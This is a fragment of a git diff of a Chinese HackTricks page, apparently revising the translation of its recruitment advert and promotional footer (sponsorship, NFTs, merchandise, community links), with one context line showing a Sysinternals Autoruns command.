如果你对**黑客职业**感兴趣，并且想要黑进那些不可黑的系统 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -349,10 +331,10 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗？您想在HackTricks中看到您的**公司广告**吗？或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
* 你在**网络安全公司**工作吗？你想在**HackTricks**中看到你的**公司广告**吗？或者你想要获得**PEASS最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) 和 [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR，**分享你的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
Loading…
Reference in a new issue